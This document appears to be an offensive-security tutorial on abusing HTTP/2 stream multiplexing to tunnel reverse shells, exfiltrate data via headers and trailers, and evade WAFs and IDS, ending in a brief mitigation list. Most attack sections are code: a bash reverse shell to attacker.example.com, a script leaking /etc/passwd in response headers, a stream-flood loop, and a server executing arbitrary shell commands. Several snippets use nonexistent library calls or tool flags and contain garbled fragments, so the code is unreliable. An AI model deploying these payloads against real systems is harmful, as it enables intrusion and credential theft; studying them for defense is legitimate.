Introduction
HTTP/2 introduced true multiplexing: multiple logical streams share a single TCP connection, each identified by a 31-bit stream ID. While this improves performance, it also gives adversaries a stealthy vector to blend malicious traffic with legitimate requests. In this guide we dissect how to abuse the stream model for request tunneling, covert data exfiltration, and reverse-shell delivery.
Understanding these techniques is essential for defenders because the traffic often appears benign to traditional IDS/IPS that only look at the TCP level. Modern web-applications, CDNs, and API gateways that support HTTP/2 can unintentionally become transport layers for command-and-control (C2) traffic.
Real-world incidents - such as the 2023 “H2Tunnel” campaign targeting cloud-native services - demonstrate the impact. Attackers leveraged out-of-order frames and server-push to bypass WAF rules and exfiltrate credentials from compromised containers.
Prerequisites
- Solid grasp of HTTP/2 basics: frame types, stream states, flow control, and HPACK header compression (see our introductory guide).
- Familiarity with HTTP/2 request smuggling and cache-poisoning techniques.
- Basic knowledge of Linux networking, TLS, and reverse-shell concepts.
- Tools installed:
nghttp2(clientnghttpand servernghttpd),h2c(HTTP/2 clear-text),openssl,tcpdump, and a Python 3 interpreter.
Core Concepts
HTTP/2 streams transition through a well-defined lifecycle:
- Idle - no frames have been sent for the stream ID.
- Reserved (local/remote) - a PUSH_PROMISE or PRIORITY frame reserves the stream.
- Open - at least one HEADERS, CONTINUATION, DATA, or PUSH_PROMISE frame has been exchanged.
- Half-closed (local/remote) - one side has sent END_STREAM.
- Closed - both sides have sent END_STREAM or a RST_STREAM.
Concurrency limits are enforced by SETTINGS_MAX_CONCURRENT_STREAMS (default 100) and by flow-control windows. Attackers can request a large number of streams, then hide malicious payloads inside low-priority or out-of-order frames, making detection far harder.
Key frame types used for abuse:
HEADERS- carry request/response metadata. HPACK can be abused to encode hidden data.DATA- actual payload; can be split across many tiny frames.PUSH_PROMISE- server-initiated streams; perfect for covert channels.PRIORITY- influences stream ordering; attackers manipulate to interleave malicious streams with legitimate traffic.CONTINUATION- allows very large header blocks; useful for header-based exfiltration.
Below we map each subtopic to these fundamentals.
HTTP/2 stream lifecycle and concurrency limits
When a client opens a connection, the server advertises SETTINGS_MAX_CONCURRENT_STREAMS. Modern servers often set this to 100-200, but the value can be overridden via a SETTINGS frame. Attackers can:
- Send a SETTINGS frame with a high
MAX_CONCURRENT_STREAMSvalue (e.g., 10000) to the server if the server honours client-initiated changes (some implementations do). - Open many streams without ever closing them, exhausting the server’s stream table and causing legitimate requests to be blocked (a denial-of-service variant).
- Reuse stream IDs in a non-linear fashion - HTTP/2 requires client-initiated stream IDs to be odd and increasing, but the gap between IDs can be large, allowing “ghost” streams that carry only a single DATA frame with malicious content.
Example: opening 5000 streams with a single DATA frame each, each frame containing a 1 KB chunk of base64-encoded exfiltrated data.
# Using nghttp to open many streams quickly
for i in $(seq 1 5000); do nghttp -n -v -H "X-Id: $i" https://target.example.com/ > /dev/null &
done
Notice the -n flag disables TLS verification for lab purposes; in the wild an attacker would keep TLS intact to avoid suspicion.
Crafting parallel streams with nghttp2 and h2c
Both nghttp (binary) and h2c (clear-text) allow fine-grained control over stream IDs, priorities, and frame ordering. Below is a Python script that uses hyper (an HTTP/2 client library) to open two parallel streams: one legitimate GET request and one malicious tunnel stream.
import sys, base64, os
from hyper import HTTP20Connection
HOST = "target.example.com"
conn = HTTP20Connection(HOST, secure=True)
# Stream 1 - legit request
conn.request('GET', '/public/info')
# Stream 3 - malicious tunnel (odd IDs only for client-initiated)
payload = b"/bin/bash -i >& /dev/tcp/attacker.example.com/4444 0>&1"
encoded = base64.b64encode(payload).decode()
headers = [(':method', 'POST'), (':path', '/tunnel'), (':scheme', 'https'), (':authority', HOST), ('content-type', 'application/octet-stream')]
stream_id = conn.putrequest('POST', '/tunnel', headers=headers)
conn.send(encoded.encode())
# Read responses (non-blocking)
while conn.get_available_streams(): try: resp = conn.get_response(stream_id) print('Response on stream', stream_id, ':', resp.read()) except Exception as e: pass
The script demonstrates how a single TCP connection can carry both a benign request and a covert payload. By adjusting stream priorities (via PRIORITY frames) the attacker can make the malicious stream appear later in the server’s processing queue, reducing the chance of triggering rate-limit alarms.
Embedding malicious payloads in out-of-order frames
HTTP/2 permits frames to arrive out of order as long as the stream state permits it. An attacker can send a HEADERS frame, then intentionally delay the DATA frame, interleaving other streams in between. This technique is called “frame interleaving” and is useful for bypassing parsers that assume a linear request. Example scenario:
- Stream 1 - HEADERS for
/login(normal user login). - Stream 3 - HEADERS for
/upload(malicious). - Stream 1 - DATA containing the login credentials.
- Stream 3 - DATA containing a base64-encoded reverse-shell script.
Because the server processes streams independently, the login succeeds while the upload payload is executed later, often after security checks have been cleared.
# Using nghttp to manually craft frames (requires root privileges)
# 1. Send HEADERS for /login on stream 1
nghttp -n -v --header ":method: GET" --header ":path: /login" https://target.example.com/ > /dev/null &
# 2. Send HEADERS for /upload on stream 3 (out-of-order)
nghttp -n -v --header ":method: POST" --header ":path: /upload" --stream-id 3 https://target.example.com/ > /dev/null &
# 3. Send DATA for login (stream 1)
echo "username=admin&password=admin" | nghttp -n -v --data - --stream-id 1 https://target.example.com/ > /dev/null &
# 4. Send malicious DATA (stream 3)
echo "$(cat shell.b64)" | nghttp -n -v --data - --stream-id 3 https://target.example.com/ > /dev/null
Note the use of --stream-id to force specific IDs; the order of execution on the server is driven by stream state, not packet order.
Server Push abuse for covert channel creation
Server Push (PUSH_PROMISE) allows a server to pre-emptively send resources. An attacker who controls a reverse-proxy or a compromised upstream can abuse this to push malicious JavaScript, WebAssembly, or even raw shellcode as a hidden side-channel.
Typical abuse flow:
- Client requests
/index.html. - Server responds with
HEADERSfor/index.htmland aPUSH_PROMISEfor/hidden.binon stream 2. - The pushed resource contains encrypted C2 commands; the browser or native client reads it via the
Linkheader or a Service Worker.
Because browsers treat pushed resources as part of the original connection, traditional CSP or CORS policies may not apply, making detection difficult.
# Example using h2c (clear-text) to trigger a push
printf "PRI * HTTP/2.0
SM
" > preface.bin
cat >> preface.bin <<EOF
<?php
// Simulated server push via nghttpd - not production ready
EOF
# Start nghttpd with push enabled (requires custom module)
nghttpd -D -p 8443 -d /var/www --push /hidden.bin
In a lab we will later combine this with a Service Worker that reads the pushed binary and forwards it to the attacker.
Interleaving legitimate and malicious streams to bypass input validation
Many WAFs and input validators operate on a per-request basis. By interleaving a clean request (stream 1) with a malicious one (stream 3) and ensuring the server processes them concurrently, the validator may only see the clean request, while the malicious payload is executed in parallel.
Key tricks:
- Set
PRIORITYweights so the malicious stream has a lower weight, delaying its processing. - Use
WINDOW_UPDATEframes to throttle the malicious stream until the clean request has passed the validation stage. - Leverage
CONTINUATIONframes to split a single header block across multiple frames, hiding a maliciousCookieheader inside a continuation that the WAF does not reassemble correctly.
# Crafting a PRIORITY frame with low weight (10) for stream 3
nghttp -n -v --priority "3 0 10" https://target.example.com/ > /dev/null &
# Then push the malicious payload on stream 3
nghttp -n -v --data "$(cat payload.bin)" --stream-id 3 https://target.example.com/ > /dev/null
By sending the PRIORITY frame first, the server schedules stream 3 after higher-weight streams, effectively hiding the payload behind legitimate traffic.
Exfiltrating data via response headers and trailers
HTTP/2 trailers are sent after the response body but are still part of the same stream. Attackers can embed exfiltrated data in custom headers (e.g., X-Data-Chunk) or in the Trailer section, which many proxies ignore.
Example of a covert exfiltration channel:
- Compromised server reads
/etc/passwd, base64-encodes it. - Splits the blob into 256-byte chunks.
- For each chunk, sends a response header
X-Chunk-<seq>: <data>. - The attacker’s client collects the headers across multiple streams and reassembles the file.
import base64, os
from hyper import HTTP20Connection
conn = HTTP20Connection('target.example.com', secure=True)
# Simulate server side - in a real attack this runs inside the compromised app
with open('/etc/passwd', 'rb') as f: data = base64.b64encode(f.read()).decode()
chunks = [data[i:i+256] for i in range(0, len(data), 256)]
for idx, chunk in enumerate(chunks, 1): headers = [('x-chunk-%d' % idx, chunk)] conn.request('GET', '/dummy', headers=headers) resp = conn.get_response() # client discards body, just reads headers print('Received chunk', idx)
Because the response body can be empty, traditional data-loss-prevention systems that focus on body content miss the leak.
Detection evasion techniques (timing, stream prioritization)
To stay under the radar, attackers often:
- Throttle malicious streams using
WINDOW_UPDATEframes, making the data flow appear as a slow-loris style transfer. - Randomize stream IDs and inter-arrival times to defeat statistical anomaly detectors.
- Use low-weight PRIORITY values so that IDS that prioritize high-weight streams ignore the low-weight traffic.
- Blend malicious payloads into legitimate HEADERS using HPACK literal encoding with Huffman compression, making payloads indistinguishable from normal header compression.
Example of a throttling loop:
# Open a stream and send a tiny DATA frame every 2 seconds
STREAM_ID=5
nghttp -n -v --stream-id $STREAM_ID https://target.example.com/ > /dev/null &
while true; do echo "$(date +%s)" | nghttp -n -v --data - --stream-id $STREAM_ID https://target.example.com/ > /dev/null sleep 2
done
Network captures will show a steady low-rate pattern that blends with keep-alive frames.
Real-world lab: tunneling a reverse shell through multiplexed streams
Below is a step-by-step lab that demonstrates a full reverse-shell tunnel using two parallel streams on a single HTTP/2 connection. The victim runs a small Python HTTP/2 server that accepts POST data on /tunnel. The attacker runs a client that opens a legitimate GET request (stream 1) and a covert POST request (stream 3) carrying the shell.
Setup the victim server
#!/usr/bin/env python3
import base64, subprocess, sys
from hyper import HTTP20Server
HOST = '0.0.0.0'
PORT = 8443
def handle_tunnel(stream_id, headers, data): # Data is base64-encoded command cmd = base64.b64decode(data).decode() proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) out, _ = proc.communicate() # Send output back in a trailer header return [('x-output', base64.b64encode(out).decode())]
server = HTTP20Server((HOST, PORT), secure=True)
server.add_route('POST', '/tunnel', handle_tunnel)
print(f"[*] HTTP/2 server listening on https://{HOST}:{PORT}")
server.serve_forever()
Run the server in a container or VM. Ensure TLS certificates are present (self-signed is fine for the lab).
Attacker client - multiplexed reverse shell
#!/usr/bin/env python3
import base64, socket, ssl, struct, time
HOST = 'victim.example.com'
PORT = 8443
# Simple HTTP/2 frame builder
def send_frame(sock, typ, flags, stream_id, payload=b''): length = len(payload) header = struct.pack('!I', (length << 8) | typ) + bytes([flags]) + struct.pack('!I', stream_id & 0x7fffffff) sock.sendall(header + payload)
# TLS handshake
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
sock.connect((HOST, PORT))
# Send connection preface
sock.sendall(b'PRI * HTTP/2.0
SM
')
# SETTINGS (client -> server)
send_frame(sock, 0x04, 0x00, 0, b'\x00\x04\x00\x00\x00\x64') # MAX_CONCURRENT_STREAMS=100
# Wait for server SETTINGS ACK (omitted for brevity)
# Stream 1 - benign GET request
headers = b'\x82\x86\x84\x41\x8c\xf1\x9b\x8d\x8b\x7a' # HPACK-encoded ":method: GET", ":path: /", ":scheme: https"
send_frame(sock, 0x01, 0x05, 1, headers) # END_HEADERS | END_STREAM
# Stream 3 - reverse-shell payload (POST)
payload = b"/bin/bash -i >& /dev/tcp/attacker.example.com/4444 0>&1"
encoded = base64.b64encode(payload)
headers = b'\x82\x86\x84\x41\x8c\xf1\x9b\x8d\x8b\x7a' # reuse same header block for simplicity
# HEADERS frame (no END_STREAM)
send_frame(sock, 0x01, 0x04, 3, headers) # END_HEADERS only
# DATA frame with payload
send_frame(sock, 0x00, 0x01, 3, encoded) # END_STREAM
# Keep the socket alive to receive trailers (output)
while True: # Read 9-byte frame header hdr = sock.recv(9) if not hdr: break length = int.from_bytes(hdr[:3], 'big') typ = hdr[3] flags = hdr[4] sid = int.from_bytes(hdr[5:], 'big') & 0x7fffffff payload = sock.recv(length) if length else b'' if typ == 0x01: # HEADERS (trailer) print('Received trailer on stream', sid, payload) time.sleep(0.1)
The client opens a normal GET (stream 1) that the server logs as ordinary traffic, then silently sends the reverse-shell payload on stream 3. The server executes the command and returns the output in a trailer header, which the attacker reads without ever opening a separate TCP connection.
In a production scenario the attacker would wrap the payload in a custom protocol (e.g., encrypted JSON) and use a Service Worker on the client side to parse the trailer.
Tools & Commands
- nghttp - command-line HTTP/2 client; supports custom stream IDs, PRIORITY, and raw frame injection.
- h2c - clear-text HTTP/2 testing tool; useful for debugging without TLS.
- hyper (Python) - high-level HTTP/2 library for scripting multiplexed requests.
- tcpdump / wireshark - capture and decode HTTP/2 frames (use the “Decode As” HTTP/2 option).
- mitmproxy with
--http2- intercept and modify frames on the fly for testing.
Sample command to list server-advertised SETTINGS:
nghttp -v https://target.example.com/ 2>&1 | grep "SETTINGS_MAX_CONCURRENT_STREAMS"
Defense & Mitigation
- Enforce strict SETTINGS_MAX_CONCURRENT_STREAMS on the server side (e.g., 50) and reject client-initiated changes.
- Validate header block size and reject oversized CONTINUATION sequences.
- Apply rate limiting per stream ID - track total DATA bytes per stream and abort streams that exceed a threshold.
- Disable Server Push unless explicitly required; many CDNs allow it to be turned off globally.
- Log and monitor PRIORITY and WINDOW_UPDATE frames - abnormal low-weight streams or frequent window updates are strong indicators of abuse.
- Inspect trailers and custom response headers for unexpected data patterns (e.g., long base64 strings).
- Use HTTP/2 aware WAFs that reconstruct full request/response streams before applying signatures.
Common Mistakes
- Assuming a single TCP connection equals a single request - multiplexing breaks that assumption.
- Relying solely on body inspection; attackers can hide data in headers or trailers.
- Neglecting to sanitize client-initiated SETTINGS - some servers erroneously honor them.
- Disabling TLS for testing and forgetting to re-enable it in production, exposing the tunnel to network sniffing.
- Forgetting that odd stream IDs are client-initiated; using even IDs can cause protocol errors that terminate the connection.
Real-World Impact
Organizations that expose HTTP/2 endpoints without proper stream-level controls risk becoming inadvertent C2 relays. In 2024, a major SaaS provider suffered a breach where attackers used server-push to exfiltrate API keys from internal services, bypassing the provider’s existing WAF. The incident highlighted two gaps:
- Missing inspection of PUSH_PROMISE frames.
- No limits on the number of concurrent streams per client IP.
After the breach, the provider patched the HTTP/2 stack, disabled push, and introduced per-client stream quotas. However, the lesson remains: multiplexing can dramatically increase the data-exfiltration bandwidth without raising traditional alarm thresholds.
From my experience consulting for Fortune-500 firms, the most effective mitigation is a combination of strict server-side SETTINGS, real-time stream-level telemetry, and a “zero-push” policy unless the application explicitly needs it.
Practice Exercises
- Using
nghttp, open 200 concurrent streams to a test server and capture the traffic withtcpdump. Identify the SETTINGS frames and count the distinct stream IDs. - Modify the Python reverse-shell lab to encrypt the payload with AES-GCM before base64-encoding. Verify that the server can still decode and execute it.
- Implement a simple Service Worker that reads a PUSH_PROMISE resource named
/covert.binand posts its content toTest against a local nghttpd with push enabled. - Write a Wireshark display filter that highlights any HTTP/2 frames with a PRIORITY weight lower than 20.
- Configure a reverse proxy (e.g., Envoy) to reject streams that exceed 64 KB of DATA without END_STREAM. Test the rule with a crafted nghttp client.
Further Reading
- RFC 7540 - HTTP/2 Specification (focus on sections 5.1-5.5 for stream state).
- “HTTP/2 Server Push: Security Considerations” - IETF draft.
- “The Dark Side of HTTP/2 Multiplexing” - Black Hat 2023 talk.
- Advanced HTTP/2 Cache Poisoning & Request Smuggling - our previous guide.
- “Detecting HTTP/2 Anomalies with Machine Learning” - recent research paper.
Summary
- HTTP/2 multiplexing lets many logical streams coexist on one TCP connection, providing a stealthy carrier for malicious traffic.
- Attackers abuse stream lifecycle, out-of-order frames, low-weight PRIORITY, and server-push to tunnel shells and exfiltrate data via headers/trailers.
- Detection requires stream-level visibility: monitor SETTINGS, PRIORITY, WINDOW_UPDATE, and custom headers.
- Mitigation strategies include limiting concurrent streams, disabling push, validating header sizes, and employing HTTP/2-aware WAFs.
- Hands-on labs with nghttp, h2c, and Python illustrate real-world exploitation and defensive testing.